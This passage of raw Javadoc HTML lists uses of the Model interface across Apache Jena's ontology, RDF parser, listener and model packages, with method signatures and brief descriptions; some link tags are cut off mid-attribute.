href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Write a serialized representation of all of the contents of the model, including inferred statements and statements imported from other documents.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Write a serialized representation of all of the contents of the model, including inferred statements and statements imported from other documents.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/ontology/package-summary.html">com.hp.hpl.jena.ontology</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block"> Add an entry that <code>model</code> is the appropriate model to use for the given ontology document.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, boolean&nbsp;replace)</code> <div class="block"> Add an entry that <code>model</code> is the appropriate model to use for the given ontology document</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html#addSubModel(com.hp.hpl.jena.rdf.model.Model)">addSubModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block"> Add the given model as one of the sub-models of the enclosed ontology union model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html#addSubModel(com.hp.hpl.jena.rdf.model.Model, boolean)">addSubModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, boolean&nbsp;rebind)</code> <div class="block"> Add the given model as one of the sub-models of the enclosed ontology union model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.ReadHook.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.ReadHook.html#afterRead(com.hp.hpl.jena.rdf.model.Model, java.lang.String, com.hp.hpl.jena.ontology.OntDocumentManager)">afterRead</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;source, <a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html" title="class in com.hp.hpl.jena.ontology">OntDocumentManager</a>&nbsp;odm)</code> <div class="block">Behaviour that is invoked <strong>just after</strong> the contents of the given source (URI or filename) have been read into the given model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.DefaultReadHook.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.DefaultReadHook.html#afterRead(com.hp.hpl.jena.rdf.model.Model, java.lang.String, com.hp.hpl.jena.ontology.OntDocumentManager)">afterRead</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;source, <a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html" title="class in com.hp.hpl.jena.ontology">OntDocumentManager</a>&nbsp;odm)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html" title="class in com.hp.hpl.jena.ontology">OntModelSpec</a></code></td> <td class="colLast"><span class="strong">OntModelSpec.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html#assemble(com.hp.hpl.jena.rdf.model.Model)">assemble</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Answer the OntModelSpec described using the Jena Assembler vocabulary properties of the single resource in <code>model</code> of type JA:OntModelSpec.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a></code></td> <td class="colLast"><span class="strong">OntDocumentManager.ReadHook.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.ReadHook.html#beforeRead(com.hp.hpl.jena.rdf.model.Model, java.lang.String, com.hp.hpl.jena.ontology.OntDocumentManager)">beforeRead</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;source, <a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html" title="class in com.hp.hpl.jena.ontology">OntDocumentManager</a>&nbsp;odm)</code> <div class="block">Behaviour that is invoked <strong>before</strong> the contents of the given source (URI or filename) are read into the given model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a></code></td> <td class="colLast"><span class="strong">OntDocumentManager.DefaultReadHook.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.DefaultReadHook.html#beforeRead(com.hp.hpl.jena.rdf.model.Model, java.lang.String, com.hp.hpl.jena.ontology.OntDocumentManager)">beforeRead</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;source, <a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html" title="class in com.hp.hpl.jena.ontology">OntDocumentManager</a>&nbsp;odm)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html#configure(com.hp.hpl.jena.rdf.model.Model)">configure</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;config)</code> <div class="block">Configure this document manager using the given configuration information, after first resetting the model back to all default values.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html#configure(com.hp.hpl.jena.rdf.model.Model, boolean)">configure</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;config, boolean&nbsp;reset)</code> <div class="block">Configure this document manager according to the configuration options supplied by the given configuration model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/ontology/OntTools.Path.html" title="class in com.hp.hpl.jena.ontology">OntTools.Path</a></code></td> <td class="colLast"><span class="strong">OntTools.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntTools.html#findShortestPath(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.RDFNode, com.hp.hpl.jena.util.iterator.Filter)">findShortestPath</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;start, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html" title="interface in com.hp.hpl.jena.rdf.model">RDFNode</a>&nbsp;end, com.hp.hpl.jena.util.iterator.Filter&lt;<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Statement.html" title="interface in com.hp.hpl.jena.rdf.model">Statement</a>&gt;&nbsp;onPath)</code> <div class="block">Answer the shortest path from the <code>start</code> resource to the <code>end</code> RDF node, such that every step on the path is accepted by the given filter.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntDocumentManager.ReadFailureHandler.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.ReadFailureHandler.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Exception.html?is-external=true" title="class or interface in java.lang">Exception</a>&nbsp;e)</code> <div class="block">Behaviour to invoke when the <a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html" title="class in com.hp.hpl.jena.ontology"><code>OntDocumentManager</code></a> tries and fails to read an ontology document from a given URL.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html#removeSubModel(com.hp.hpl.jena.rdf.model.Model)">removeSubModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block"> Remove the given model as one of the sub-models of the enclosed ontology union model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html#removeSubModel(com.hp.hpl.jena.rdf.model.Model, boolean)">removeSubModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, boolean&nbsp;rebind)</code> <div class="block"> Remove the given model as one of the sub-models of the enclosed ontology union model.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing constructors, and an explanation"> <caption><span>Constructors in <a href="../../../../../../../com/hp/hpl/jena/ontology/package-summary.html">com.hp.hpl.jena.ontology</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html#OntDocumentManager(com.hp.hpl.jena.util.FileManager, com.hp.hpl.jena.rdf.model.Model)">OntDocumentManager</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html" title="class in com.hp.hpl.jena.util">FileManager</a>&nbsp;fileMgr, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;config)</code> <div class="block">Initialise a document manager with the given configuration model.</div> </td> </tr> <tr class="rowColor"> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html#OntDocumentManager(com.hp.hpl.jena.rdf.model.Model)">OntDocumentManager</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;config)</code> <div class="block">Initialise a document manager with the given configuration model.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.rdf.arp"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/rdf/arp/package-summary.html">com.hp.hpl.jena.rdf.arp</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/rdf/arp/package-summary.html">com.hp.hpl.jena.rdf.arp</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/arp/SAX2Model.html" title="class in com.hp.hpl.jena.rdf.arp">SAX2Model</a></code></td> <td class="colLast"><span class="strong">SAX2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/SAX2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Factory method to create a new SAX2Model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/arp/SAX2Model.html" title="class in com.hp.hpl.jena.rdf.arp">SAX2Model</a></code></td> <td class="colLast"><span class="strong">SAX2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/SAX2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Factory method to create a new SAX2Model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/arp/DOM2Model.html" title="class in com.hp.hpl.jena.rdf.arp">DOM2Model</a></code></td> <td class="colLast"><span class="strong">DOM2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/DOM2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Create a new DOM2Model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/arp/DOM2Model.html" title="class in com.hp.hpl.jena.rdf.arp">DOM2Model</a></code></td> <td class="colLast"><span class="strong">DOM2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/DOM2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Create a new DOM2Model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">JenaReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/JenaReader.html#read(com.hp.hpl.jena.rdf.model.Model, java.io.InputStream, java.lang.String)">read</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/io/InputStream.html?is-external=true" title="class or interface in java.io">InputStream</a>&nbsp;in, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;xmlBase)</code> <div class="block">Reads from inputStream, using base URI xmlbase, adding triples to model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">JenaReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/JenaReader.html#read(com.hp.hpl.jena.rdf.model.Model, java.io.Reader, java.lang.String)">read</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/io/Reader.html?is-external=true" title="class or interface in java.io">Reader</a>&nbsp;reader, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;xmlBase)</code> <div class="block">Reads from reader, using base URI xmlbase, adding triples to model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">JenaReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/JenaReader.html#read(com.hp.hpl.jena.rdf.model.Model, java.lang.String)">read</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;url)</code> <div class="block">Reads from url, using url as base, adding triples to model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">StAX2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/StAX2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">StAX2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/StAX2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">StAX2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/StAX2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">StAX2Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/arp/StAX2Model.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code>&nbsp;</td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.rdf.listeners"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/package-summary.html">com.hp.hpl.jena.rdf.listeners</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/package-summary.html">com.hp.hpl.jena.rdf.listeners</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">ChangedListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/ChangedListener.html#addedStatements(com.hp.hpl.jena.rdf.model.Model)">addedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">NullListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/NullListener.html#addedStatements(com.hp.hpl.jena.rdf.model.Model)">addedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">ObjectListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/ObjectListener.html#addedStatements(com.hp.hpl.jena.rdf.model.Model)">addedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">StatementListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/StatementListener.html#addedStatements(com.hp.hpl.jena.rdf.model.Model)">addedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">ChangedListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/ChangedListener.html#notifyEvent(com.hp.hpl.jena.rdf.model.Model, java.lang.Object)">notifyEvent</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>&nbsp;event)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">NullListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/NullListener.html#notifyEvent(com.hp.hpl.jena.rdf.model.Model, java.lang.Object)">notifyEvent</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>&nbsp;event)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">ObjectListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/ObjectListener.html#notifyEvent(com.hp.hpl.jena.rdf.model.Model, java.lang.Object)">notifyEvent</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>&nbsp;event)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">StatementListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/StatementListener.html#notifyEvent(com.hp.hpl.jena.rdf.model.Model, java.lang.Object)">notifyEvent</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>&nbsp;event)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">ChangedListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/ChangedListener.html#removedStatements(com.hp.hpl.jena.rdf.model.Model)">removedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">NullListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/NullListener.html#removedStatements(com.hp.hpl.jena.rdf.model.Model)">removedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">ObjectListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/ObjectListener.html#removedStatements(com.hp.hpl.jena.rdf.model.Model)">removedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">StatementListener.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/listeners/StatementListener.html#removedStatements(com.hp.hpl.jena.rdf.model.Model)">removedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code>&nbsp;</td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.rdf.model"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/rdf/model/package-summary.html">com.hp.hpl.jena.rdf.model</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing subinterfaces, and an explanation"> <caption><span>Subinterfaces of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/rdf/model/package-summary.html">com.hp.hpl.jena.rdf.model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Interface and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>interface&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html" title="interface in com.hp.hpl.jena.rdf.model">InfModel</a></strong></code> <div class="block">An extension to the normal Model interface that supports access to any underlying inference capability.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/rdf/model/package-summary.html">com.hp.hpl.jena.rdf.model</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#abort()">abort</a></strong>()</code> <div class="block">Abort the current transaction and abandon any changes in progress.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a 